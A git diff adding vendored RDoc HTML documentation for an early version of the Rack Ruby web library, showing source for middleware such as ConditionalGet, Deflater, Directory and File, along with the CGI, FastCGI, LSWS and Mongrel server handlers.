+ + +
+ + + +
+ +
+

+Middleware that enables conditional GET using If-None-Match and +If-Modified-Since. The application should set either or both of the +Last-Modified or Etag response headers according to RFC 2616. When either +of the conditions is met, the response body is set to be zero length and +the response status is set to 304 Not Modified. +

+

+Applications that defer response body generation until the body‘s +each message is received will avoid response body generation completely +when a conditional GET matches. +

+

+Adapted from Michael Klishin‘s Merb implementation: github.com/wycats/merb-core/tree/master/lib/merb-core/rack/middleware/conditional_get.rb +

+ +
+ + +
+ +
+

Methods

+ +
+ call   + new   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/conditionalget.rb, line 16
+16:     def initialize(app)
+17:       @app = app
+18:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/conditionalget.rb, line 20
+20:     def call(env)
+21:       return @app.call(env) unless %w[GET HEAD].include?(env['REQUEST_METHOD'])
+22: 
+23:       status, headers, body = @app.call(env)
+24:       headers = Utils::HeaderHash.new(headers)
+25:       if etag_matches?(env, headers) || modified_since?(env, headers)
+26:         status = 304
+27:         body = []
+28:       end
+29:       [status, headers, body]
+30:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/ContentLength.html b/vendor/plugins/rack/doc/classes/Rack/ContentLength.html new file mode 100644 index 00000000..6d7868cf --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/ContentLength.html @@ -0,0 +1,191 @@ + + + + + + Class: Rack::ContentLength + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::ContentLength
In: + + lib/rack/content_length.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Sets the Content-Length header on responses with fixed-length bodies. +

+ +
+ + +
+ +
+

Methods

+ +
+ call   + new   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+   # File lib/rack/content_length.rb, line 4
+4:     def initialize(app)
+5:       @app = app
+6:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/content_length.rb, line 8
+ 8:     def call(env)
+ 9:       status, headers, body = @app.call(env)
+10:       headers = Utils::HeaderHash.new(headers)
+11: 
+12:       if !Utils::STATUS_WITH_NO_ENTITY_BODY.include?(status) &&
+13:          !headers['Content-Length'] &&
+14:          !headers['Transfer-Encoding'] &&
+15:          (body.respond_to?(:to_ary) || body.respond_to?(:to_str))
+16: 
+17:         body = [body] if body.respond_to?(:to_str) # rack 0.4 compat
+18:         length = body.to_ary.inject(0) { |len, part| len + part.length }
+19:         headers['Content-Length'] = length.to_s
+20:       end
+21: 
+22:       [status, headers, body]
+23:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Deflater.html b/vendor/plugins/rack/doc/classes/Rack/Deflater.html new file mode 100644 index 00000000..ade60011 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Deflater.html @@ -0,0 +1,289 @@ + + + + + + Class: Rack::Deflater + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Deflater
In: + + lib/rack/deflater.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ call   + deflate   + gzip   + new   +
+
+ +
+ + + + +
+ + +
+

Constants

+ +
+ + + + + + +
DEFLATE_ARGS=[ Zlib::DEFAULT_COMPRESSION, # drop the zlib header which causes both Safari and IE to choke -Zlib::MAX_WBITS, Zlib::DEF_MEM_LEVEL, Zlib::DEFAULT_STRATEGY
+
+
+ + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

+Loosely based on Mongrel‘s Deflate handler +

+

[Source]

+
+
+    # File lib/rack/deflater.rb, line 77
+77:   def self.deflate(body)
+78:     deflater = Zlib::Deflate.new(*DEFLATE_ARGS)
+79: 
+80:     # TODO: Add streaming
+81:     body.each { |part| deflater << part }
+82: 
+83:     return deflater.finish
+84:   end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/deflater.rb, line 56
+56:   def self.gzip(body, mtime)
+57:     io = StringIO.new
+58:     gzip = Zlib::GzipWriter.new(io)
+59:     gzip.mtime = mtime
+60: 
+61:     # TODO: Add streaming
+62:     body.each { |part| gzip << part }
+63: 
+64:     gzip.close
+65:     return io.string
+66:   end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/deflater.rb, line 8
+ 8:   def initialize(app)
+ 9:     @app = app
+10:   end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/deflater.rb, line 12
+12:   def call(env)
+13:     status, headers, body = @app.call(env)
+14:     headers = Utils::HeaderHash.new(headers)
+15: 
+16:     # Skip compressing empty entity body responses and responses with
+17:     # no-transform set.
+18:     if Utils::STATUS_WITH_NO_ENTITY_BODY.include?(status) ||
+19:         headers['Cache-Control'].to_s =~ /\bno-transform\b/
+20:       return [status, headers, body]
+21:     end
+22: 
+23:     request = Request.new(env)
+24: 
+25:     encoding = Utils.select_best_encoding(%w(gzip deflate identity),
+26:                                           request.accept_encoding)
+27: 
+28:     # Set the Vary HTTP header.
+29:     vary = headers["Vary"].to_s.split(",").map { |v| v.strip }
+30:     unless vary.include?("*") || vary.include?("Accept-Encoding")
+31:       headers["Vary"] = vary.push("Accept-Encoding").join(",")
+32:     end
+33: 
+34:     case encoding
+35:     when "gzip"
+36:       mtime = if headers.key?("Last-Modified") 
+37:                 Time.httpdate(headers["Last-Modified"]) 
+38:               else 
+39:                 Time.now
+40:               end
+41:       [status,
+42:        headers.merge("Content-Encoding" => "gzip"),
+43:        self.class.gzip(body, mtime)]
+44:     when "deflate"
+45:       [status,
+46:        headers.merge("Content-Encoding" => "deflate"),
+47:        self.class.deflate(body)]
+48:     when "identity"
+49:       [status, headers, body]
+50:     when nil
+51:       message = ["An acceptable encoding for the requested resource #{request.fullpath} could not be found."]
+52:       [406, {"Content-Type" => "text/plain"}, message]
+53:     end
+54:   end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Directory.html b/vendor/plugins/rack/doc/classes/Rack/Directory.html new file mode 100644 index 00000000..94f63aa5 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Directory.html @@ -0,0 +1,493 @@ + + + + + + Class: Rack::Directory + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Directory
In: + + lib/rack/directory.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::Directory serves entries below the +root given, according to the path info of the Rack request. If a directory is found, the +file‘s contents will be presented in an html based index. If a file +is found, the env will be passed to the specified app. +

+

+If app is not specified, a Rack::File of +the same root will be used. +

+ +
+ + +
+ +
+

Methods

+ +
+ _call   + call   + check_forbidden   + each   + entity_not_found   + filesize_format   + list_directory   + list_path   + new   + stat   +
+
+ +
+ + + + +
+ + +
+

Constants

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
DIR_FILE="<tr><td class='name'><a href='%s'>%s</a></td><td class='size'>%s</td><td class='type'>%s</td><td class='mtime'>%s</td></tr>"
DIR_PAGE=<<-PAGE <html><head> <title>%s</title> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <style type='text/css'> table { width:100%%; } .name { text-align:left; } .size, .mtime { text-align:right; } .type { width:11em; } .mtime { width:15em; } </style> </head><body> <h1>%s</h1> <hr /> <table> <tr> <th class='name'>Name</th> <th class='size'>Size</th> <th class='type'>Type</th> <th class='mtime'>Last Modified</th> </tr> %s </table> <hr /> </body></html> PAGE
F=::File
FILESIZE_FORMAT=[ ['%.1fT', 1 << 40], ['%.1fG', 1 << 30], ['%.1fM', 1 << 20], ['%.1fK', 1 << 10], ]  +Stolen from Ramaze + +
+
+
+ + + +
+

Attributes

+ +
+ + + + + + + + + + + + + + + + +
files [R] 
path [RW] 
root [RW] 
+
+
+ + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/directory.rb, line 45
+45:     def initialize(root, app=nil)
+46:       @root = F.expand_path(root)
+47:       @app = app || Rack::File.new(@root)
+48:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/directory.rb, line 56
+56:     def _call(env)
+57:       @env = env
+58:       @script_name = env['SCRIPT_NAME']
+59:       @path_info = Utils.unescape(env['PATH_INFO'])
+60: 
+61:       if forbidden = check_forbidden
+62:         forbidden
+63:       else
+64:         @path = F.join(@root, @path_info)
+65:         list_path
+66:       end
+67:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/directory.rb, line 50
+50:     def call(env)
+51:       dup._call(env)
+52:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/directory.rb, line 69
+69:     def check_forbidden
+70:       return unless @path_info.include? ".."
+71: 
+72:       body = "Forbidden\n"
+73:       size = body.respond_to?(:bytesize) ? body.bytesize : body.size
+74:       return [403, {"Content-Type" => "text/plain","Content-Length" => size.to_s}, [body]]
+75:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/directory.rb, line 127
+127:     def each
+128:       show_path = @path.sub(/^#{@root}/,'')
+129:       files = @files.map{|f| DIR_FILE % f }*"\n"
+130:       page  = DIR_PAGE % [ show_path, show_path , files ]
+131:       page.each_line{|l| yield l }
+132:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/directory.rb, line 121
+121:     def entity_not_found
+122:       body = "Entity not found: #{@path_info}\n"
+123:       size = body.respond_to?(:bytesize) ? body.bytesize : body.size
+124:       return [404, {"Content-Type" => "text/plain", "Content-Length" => size.to_s}, [body]]
+125:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/directory.rb, line 143
+143:     def filesize_format(int)
+144:       FILESIZE_FORMAT.each do |format, size|
+145:         return format % (int.to_f / size) if int >= size
+146:       end
+147: 
+148:       int.to_s + 'B'
+149:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/directory.rb, line 77
+77:     def list_directory
+78:       @files = [['../','Parent Directory','','','']]
+79:       glob = F.join(@path, '*')
+80: 
+81:       Dir[glob].sort.each do |node|
+82:         stat = stat(node)
+83:         next  unless stat
+84:         basename = F.basename(node)
+85:         ext = F.extname(node)
+86: 
+87:         url = F.join(@script_name, @path_info, basename)
+88:         size = stat.size
+89:         type = stat.directory? ? 'directory' : Mime.mime_type(ext)
+90:         size = stat.directory? ? '-' : filesize_format(size)
+91:         mtime = stat.mtime.httpdate
+92: 
+93:         @files << [ url, basename, size, type, mtime ]
+94:       end
+95: 
+96:       return [ 200, {'Content-Type'=>'text/html; charset=utf-8'}, self ]
+97:     end
+
+
+
+
+ +
+ + + + +
+

+TODO: add correct response if not readable, not sure if 404 is the best +

+
+      option
+
+

[Source]

+
+
+     # File lib/rack/directory.rb, line 107
+107:     def list_path
+108:       @stat = F.stat(@path)
+109: 
+110:       if @stat.readable?
+111:         return @app.call(@env) if @stat.file?
+112:         return list_directory if @stat.directory?
+113:       else
+114:         raise Errno::ENOENT, 'No such file or directory'
+115:       end
+116: 
+117:     rescue Errno::ENOENT, Errno::ELOOP
+118:       return entity_not_found
+119:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/directory.rb, line 99
+ 99:     def stat(node, max = 10)
+100:       F.stat(node)
+101:     rescue Errno::ENOENT, Errno::ELOOP
+102:       return nil
+103:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/File.html b/vendor/plugins/rack/doc/classes/Rack/File.html new file mode 100644 index 00000000..065eca76 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/File.html @@ -0,0 +1,378 @@ + + + + + + Class: Rack::File + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::File
In: + + lib/rack/file.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::File serves files below the root +given, according to the path info of the Rack +request. +

+

+Handlers can detect if bodies are a Rack::File, and +use mechanisms like sendfile on the path. +

+ +
+ + +
+ +
+

Methods

+ +
+ _call   + call   + each   + forbidden   + new   + not_found   + serving   +
+
+ +
+ + + + +
+ + +
+

Constants

+ +
+ + + + + + +
F=::File
+
+
+ + + +
+

Attributes

+ +
+ + + + + + + + + + + +
path [RW] 
root [RW] 
+
+
+ + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/file.rb, line 15
+15:     def initialize(root)
+16:       @root = root
+17:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/file.rb, line 25
+25:     def _call(env)
+26:       @path_info = Utils.unescape(env["PATH_INFO"])
+27:       return forbidden  if @path_info.include? ".."
+28: 
+29:       @path = F.join(@root, @path_info)
+30: 
+31:       begin
+32:         if F.file?(@path) && F.readable?(@path)
+33:           serving
+34:         else
+35:           raise Errno::EPERM
+36:         end
+37:       rescue SystemCallError
+38:         not_found
+39:       end
+40:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/file.rb, line 19
+19:     def call(env)
+20:       dup._call(env)
+21:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/file.rb, line 77
+77:     def each
+78:       F.open(@path, "rb") { |file|
+79:         while part = file.read(8192)
+80:           yield part
+81:         end
+82:       }
+83:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/file.rb, line 42
+42:     def forbidden
+43:       body = "Forbidden\n"
+44:       [403, {"Content-Type" => "text/plain",
+45:              "Content-Length" => body.size.to_s},
+46:        [body]]
+47:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/file.rb, line 70
+70:     def not_found
+71:       body = "File not found: #{@path_info}\n"
+72:       [404, {"Content-Type" => "text/plain",
+73:          "Content-Length" => body.size.to_s},
+74:        [body]]
+75:     end
+
+
+
+
+ +
+ + + + +
+

+NOTE: +

+
+  We check via File::size? whether this file provides size info
+  via stat (e.g. /proc files often don't), otherwise we have to
+  figure it out by reading the whole file into memory. And while
+  we're at it we also use this as body then.
+
+

[Source]

+
+
+    # File lib/rack/file.rb, line 55
+55:     def serving
+56:       if size = F.size?(@path)
+57:         body = self
+58:       else
+59:         body = [F.read(@path)]
+60:         size = body.first.size
+61:       end
+62: 
+63:       [200, {
+64:         "Last-Modified"  => F.mtime(@path).httpdate,
+65:         "Content-Type"   => Mime.mime_type(F.extname(@path), 'text/plain'),
+66:         "Content-Length" => size.to_s
+67:       }, body]
+68:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/ForwardRequest.html b/vendor/plugins/rack/doc/classes/Rack/ForwardRequest.html new file mode 100644 index 00000000..8524b8f3 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/ForwardRequest.html @@ -0,0 +1,184 @@ + + + + + + Class: Rack::ForwardRequest + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::ForwardRequest
In: + + lib/rack/recursive.rb + +
+
Parent: + Exception +
+
+ + +
+ + + +
+ +
+

+Rack::ForwardRequest gets caught by Rack::Recursive and redirects the current request +to the app at url. +

+
+  raise ForwardRequest.new("/not-found")
+
+ +
+ + +
+ +
+

Methods

+ +
+ new   +
+
+ +
+ + + + +
+ + + + + +
+

Attributes

+ +
+ + + + + + + + + + + +
env [R] 
url [R] 
+
+
+ + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/recursive.rb, line 13
+13:     def initialize(url, env={})
+14:       @url = URI(url)
+15:       @env = env
+16: 
+17:       @env["PATH_INFO"] =       @url.path
+18:       @env["QUERY_STRING"] =    @url.query  if @url.query
+19:       @env["HTTP_HOST"] =       @url.host   if @url.host
+20:       @env["HTTP_PORT"] =       @url.port   if @url.port
+21:       @env["rack.url_scheme"] = @url.scheme if @url.scheme
+22: 
+23:       super "forwarding to #{url}"
+24:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Forwarder.html b/vendor/plugins/rack/doc/classes/Rack/Forwarder.html new file mode 100644 index 00000000..9a645671 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Forwarder.html @@ -0,0 +1,196 @@ + + + + + + Class: Rack::Forwarder + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Forwarder
In: + + lib/rack/forward.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ call   + new   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/forward.rb, line 12
+12:     def initialize(host, port=80)
+13:       @host, @port = host, port
+14:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/forward.rb, line 16
+16:     def call(env)
+17:       rackreq = Rack::Request.new(env)
+18: 
+19:       headers = Rack::Utils::HeaderHash.new
+20:       env.each { |key, value|
+21:         if key =~ /HTTP_(.*)/
+22:           headers[$1] = value
+23:         end
+24:       }
+25: 
+26:       res = Net::HTTP.start(@host, @port) { |http|
+27:         m = rackreq.request_method
+28:         case m
+29:         when "GET", "HEAD", "DELETE", "OPTIONS", "TRACE"
+30:           req = Net::HTTP.const_get(m.capitalize).new(rackreq.fullpath, headers)
+31:         when "PUT", "POST"
+32:           req = Net::HTTP.const_get(m.capitalize).new(rackreq.fullpath, headers)
+33:           req.body_stream = rackreq.body
+34:         else
+35:           raise "method not supported: #{method}"
+36:         end
+37: 
+38:         http.request(req)
+39:       }
+40: 
+41:       [res.code, Rack::Utils::HeaderHash.new(res.to_hash), [res.body]]
+42:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler.html b/vendor/plugins/rack/doc/classes/Rack/Handler.html new file mode 100644 index 00000000..ad7989bf --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Handler.html @@ -0,0 +1,242 @@ + + + + + + Module: Rack::Handler + + + + + + + + + + + + + +
+ + + +
+ +
+

+Handlers connect web servers with Rack. +

+

+Rack includes Handlers for Mongrel, WEBrick, FastCGI, CGI, SCGI and +LiteSpeed. +

+

+Handlers usually are activated by calling MyHandler.run(myapp). A +second optional hash can be passed to include server-specific +configuration. +

+ +
+ + +
+ +
+

Methods

+ +
+ get   + register   +
+
+ +
+ + + + +
+ + + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler.rb, line 11
+11:     def self.get(server)
+12:       return unless server
+13: 
+14:       if klass = @handlers[server]
+15:         obj = Object
+16:         klass.split("::").each { |x| obj = obj.const_get(x) }
+17:         obj
+18:       else
+19:         Rack::Handler.const_get(server.capitalize)
+20:       end
+21:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler.rb, line 23
+23:     def self.register(server, klass)
+24:       @handlers ||= {}
+25:       @handlers[server] = klass
+26:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/CGI.html b/vendor/plugins/rack/doc/classes/Rack/Handler/CGI.html new file mode 100644 index 00000000..9d88b842 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Handler/CGI.html @@ -0,0 +1,254 @@ + + + + + + Class: Rack::Handler::CGI + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Handler::CGI
In: + + lib/rack/handler/cgi.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ run   + send_body   + send_headers   + serve   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+   # File lib/rack/handler/cgi.rb, line 4
+4:       def self.run(app, options=nil)
+5:         serve app
+6:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/cgi.rb, line 49
+49:       def self.send_body(body)
+50:         body.each { |part|
+51:           STDOUT.print part
+52:           STDOUT.flush
+53:         }
+54:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/cgi.rb, line 38
+38:       def self.send_headers(status, headers)
+39:         STDOUT.print "Status: #{status}\r\n"
+40:         headers.each { |k, vs|
+41:           vs.each { |v|
+42:             STDOUT.print "#{k}: #{v}\r\n"
+43:           }
+44:         }
+45:         STDOUT.print "\r\n"
+46:         STDOUT.flush
+47:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/cgi.rb, line 8
+ 8:       def self.serve(app)
+ 9:         env = ENV.to_hash
+10:         env.delete "HTTP_CONTENT_LENGTH"
+11: 
+12:         env["SCRIPT_NAME"] = ""  if env["SCRIPT_NAME"] == "/"
+13: 
+14:         env.update({"rack.version" => [0,1],
+15:                      "rack.input" => STDIN,
+16:                      "rack.errors" => STDERR,
+17: 
+18:                      "rack.multithread" => false,
+19:                      "rack.multiprocess" => true,
+20:                      "rack.run_once" => true,
+21: 
+22:                      "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http"
+23:                    })
+24: 
+25:         env["QUERY_STRING"] ||= ""
+26:         env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+27:         env["REQUEST_PATH"] ||= "/"
+28: 
+29:         status, headers, body = app.call(env)
+30:         begin
+31:           send_headers status, headers
+32:           send_body body
+33:         ensure
+34:           body.close  if body.respond_to? :close
+35:         end
+36:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/EventedMongrel.html b/vendor/plugins/rack/doc/classes/Rack/Handler/EventedMongrel.html new file mode 100644 index 00000000..24e8d97f --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Handler/EventedMongrel.html @@ -0,0 +1,111 @@ + + + + + + Class: Rack::Handler::EventedMongrel + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Handler::EventedMongrel
In: + + lib/rack/handler/evented_mongrel.rb + +
+
Parent: + Handler::Mongrel +
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/FastCGI.html b/vendor/plugins/rack/doc/classes/Rack/Handler/FastCGI.html new file mode 100644 index 00000000..0b4560ff --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Handler/FastCGI.html @@ -0,0 +1,264 @@ + + + + + + Class: Rack::Handler::FastCGI + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Handler::FastCGI
In: + + lib/rack/handler/fastcgi.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ run   + send_body   + send_headers   + serve   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/fastcgi.rb, line 7
+ 7:       def self.run(app, options={})
+ 8:         file = options[:File] and STDIN.reopen(UNIXServer.new(file))
+ 9:         port = options[:Port] and STDIN.reopen(TCPServer.new(port))
+10:         FCGI.each { |request|
+11:           serve request, app
+12:         }
+13:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/fastcgi.rb, line 78
+78:       def self.send_body(out, body)
+79:         body.each { |part|
+80:           out.print part
+81:           out.flush
+82:         }
+83:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/fastcgi.rb, line 67
+67:       def self.send_headers(out, status, headers)
+68:         out.print "Status: #{status}\r\n"
+69:         headers.each { |k, vs|
+70:           vs.each { |v|
+71:             out.print "#{k}: #{v}\r\n"
+72:           }
+73:         }
+74:         out.print "\r\n"
+75:         out.flush
+76:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/fastcgi.rb, line 31
+31:       def self.serve(request, app)
+32:         env = request.env
+33:         env.delete "HTTP_CONTENT_LENGTH"
+34: 
+35:         request.in.extend ProperStream
+36: 
+37:         env["SCRIPT_NAME"] = ""  if env["SCRIPT_NAME"] == "/"
+38: 
+39:         env.update({"rack.version" => [0,1],
+40:                      "rack.input" => request.in,
+41:                      "rack.errors" => request.err,
+42: 
+43:                      "rack.multithread" => false,
+44:                      "rack.multiprocess" => true,
+45:                      "rack.run_once" => false,
+46: 
+47:                      "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http"
+48:                    })
+49: 
+50:         env["QUERY_STRING"] ||= ""
+51:         env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+52:         env["REQUEST_PATH"] ||= "/"
+53:         env.delete "PATH_INFO"  if env["PATH_INFO"] == ""
+54:         env.delete "CONTENT_TYPE"  if env["CONTENT_TYPE"] == ""
+55:         env.delete "CONTENT_LENGTH"  if env["CONTENT_LENGTH"] == ""
+56: 
+57:         status, headers, body = app.call(env)
+58:         begin
+59:           send_headers request.out, status, headers
+60:           send_body request.out, body
+61:         ensure
+62:           body.close  if body.respond_to? :close
+63:           request.finish
+64:         end
+65:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/LSWS.html b/vendor/plugins/rack/doc/classes/Rack/Handler/LSWS.html new file mode 100644 index 00000000..99d86a88 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Handler/LSWS.html @@ -0,0 +1,250 @@ + + + + + + Class: Rack::Handler::LSWS + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Handler::LSWS
In: + + lib/rack/handler/lsws.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ run   + send_body   + send_headers   + serve   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/lsws.rb, line 6
+ 6:       def self.run(app, options=nil)
+ 7:         while LSAPI.accept != nil
+ 8:           serve app
+ 9:         end
+10:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/lsws.rb, line 44
+44:       def self.send_body(body)
+45:         body.each { |part|
+46:           print part
+47:           STDOUT.flush
+48:         }
+49:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/lsws.rb, line 34
+34:       def self.send_headers(status, headers)
+35:         print "Status: #{status}\r\n"
+36:         headers.each { |k, vs|
+37:           vs.each { |v|
+38:             print "#{k}: #{v}\r\n"
+39:           }
+40:         }
+41:         print "\r\n"
+42:         STDOUT.flush
+43:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/lsws.rb, line 11
+11:       def self.serve(app)
+12:         env = ENV.to_hash
+13:         env.delete "HTTP_CONTENT_LENGTH"
+14:         env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/"
+15:         env.update({"rack.version" => [0,1],
+16:                      "rack.input" => STDIN,
+17:                      "rack.errors" => STDERR,
+18:                      "rack.multithread" => false,
+19:                      "rack.multiprocess" => true,
+20:                      "rack.run_once" => false,
+21:                      "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http"
+22:                    })
+23:         env["QUERY_STRING"] ||= ""
+24:         env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+25:         env["REQUEST_PATH"] ||= "/"
+26:         status, headers, body = app.call(env)
+27:         begin
+28:           send_headers status, headers
+29:           send_body body
+30:         ensure
+31:           body.close if body.respond_to? :close
+32:         end
+33:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/Mongrel.html b/vendor/plugins/rack/doc/classes/Rack/Handler/Mongrel.html new file mode 100644 index 00000000..f7d3b35e --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Handler/Mongrel.html @@ -0,0 +1,258 @@ + + + + + + Class: Rack::Handler::Mongrel + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Handler::Mongrel
In: + + lib/rack/handler/mongrel.rb + +
+
Parent: + ::Mongrel::HttpHandler +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ new   + process   + run   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/mongrel.rb, line 35
+35:       def initialize(app)
+36:         @app = app
+37:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/mongrel.rb, line 7
+ 7:       def self.run(app, options={})
+ 8:         server = ::Mongrel::HttpServer.new(options[:Host] || '0.0.0.0',
+ 9:                                            options[:Port] || 8080)
+10:         # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods.
+11:         # Use is similar to #run, replacing the app argument with a hash of 
+12:         # { path=>app, ... } or an instance of Rack::URLMap.
+13:         if options[:map]
+14:           if app.is_a? Hash
+15:             app.each do |path, appl|
+16:               path = '/'+path unless path[0] == ?/
+17:               server.register(path, Rack::Handler::Mongrel.new(appl))
+18:             end
